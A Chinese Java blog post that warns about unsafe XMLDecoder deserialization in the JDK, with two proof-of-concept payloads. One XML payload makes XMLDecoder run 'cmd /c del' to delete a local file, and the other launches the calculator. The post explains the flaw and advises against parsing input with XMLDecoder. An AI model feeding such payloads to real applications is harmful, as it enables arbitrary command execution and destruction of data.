查看原文
其他

jdk紧急漏洞,XMLDecoder反序列化攻击

javastack Java技术栈 2021-01-12

昨天在公司发现了一个jdk中的XMLDecoder反序列化的漏洞,看起来很危险!下面通过两个示例来看看这个漏洞的危害!


示例1:利用XmlDecoder删除本地文件

首先来看这个xmldecoder.xml文件内容:

  1. <?xml version="1.0" encoding="UTF-8"?>

  2. <java version="1.8.0_151" class="java.beans.XMLDecoder">

  3.    <object class="java.lang.ProcessBuilder">

  4.        <array class="java.lang.String" length="4">

  5.            <void index="0">

  6.                <string>cmd</string>

  7.            </void>

  8.            <void index="1">

  9.                <string>/c</string>

  10.            </void>

  11.            <void index="2">

  12.                <string>del</string>

  13.            </void>

  14.            <void index="3">

  15.                <string>e:\1.txt</string>

  16.            </void>        

  17.        </array>

  18.        <void method="start" />

  19.    </object>

  20. </java>

再来看利用XMLDecoder解析这个xml文件的示例代码:

  1. private static void byXmlFile() {

  2.    File file = new File("E:\\xmldecoder.xml");

  3.    XMLDecoder xd = null;

  4.    try {

  5.        xd = new XMLDecoder(new BufferedInputStream(new FileInputStream(file)));

  6.    } catch (Exception e) {

  7.        e.printStackTrace();

  8.    }

  9.    Object s2 = xd.readObject();

  10.    xd.close();

  11. }

这段代码执行后,直接删除了本地的e:\1.txt文件,相当于在命令行调用了cmd /c del e:\1.txt命令,直接删除了本地文件,相当恐怖!

示例2:利用XmlDecoder调用本地程序

  1. private static void byXmlString() {

  2.    String xml = new StringBuilder().append("<?xml version=\"1.0\" encoding=\"UTF-8\"?>")

  3.            .append("<java version=\"1.8.0_151\" class=\"java.beans.XMLDecoder\">")

  4.            .append("    <object class=\"java.lang.ProcessBuilder\">")

  5.            .append("        <array class=\"java.lang.String\" length=\"1\">")

  6.            .append("            <void index=\"0\">")

  7.            .append("                <string>calc</string>")

  8.            .append("            </void>")

  9.            .append("        </array>")

  10.            .append("        <void method=\"start\" />")

  11.            .append("    </object>")

  12.            .append("</java>").toString();

  13.    XMLDecoder xd = null;

  14.    try {

  15.        xd = new XMLDecoder(new ByteArrayInputStream(xml.getBytes()));

  16.    } catch (Exception e) {

  17.        e.printStackTrace();

  18.    }

  19.    Object s2 = xd.readObject();

  20.    xd.close();

  21. }

这段代码改成了用String输入源的形式,这不重要,重要的是还是利用了jdk中的XmlDecoder类来解析xml字符串。这段代码执行后,会调用出本地的计算器程序。

其中ProcessBuilder.start()的方法和Runtime.exec()方法一样,都可以被用来创建一个操作系统进程,可用来控制进程状态并获得相关信息。

ProcessBuilder的构造方法接受一个命令列表。

  1. public ProcessBuilder(List<String> command) {

  2.    if (command == null)

  3.        throw new NullPointerException();

  4.    this.command = command;

  5. }

总结

Jdk中的XmlDecoder反序列化存在安全漏洞,能调用本地的应用,也能执行系统支持的命令,一旦黑客组织成命令列表攻击系统,后果不堪设想!

我只是用ProcessBuilder类演示了调用系统程序这两种案例,当然还有其他,远不止这一种攻击手段。作者看了下,这个漏洞在jdk80151版本中还存在。

建议不要用JDK中的XmlDeocder类,寻求其它更安全的xml解析工具类。

求转发,紧急扩散,避免更大程度的损失!~

近期精选


史上最全Spring Boot全套视频教程

进阶Java架构师必看的15本书

推荐一个在线创作流程图、思维导图软件—ProcessOn

分布式架构设计免费福利

Dubbo分布式系列高级视频教程。

Hadoop全套视频教程

阿里高级Java面试题(首发,70道,带详细答案)



  Java技术栈  
微信公众号:「Javastack

分享Java干货,高并发编程,热门技术教程,微服务及分布式技术,架构设计,区块链技术,人工智能,大数据,Java面试题,以及前沿热门资讯等。
 ▼长按二维码关注我们↓↓↓

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存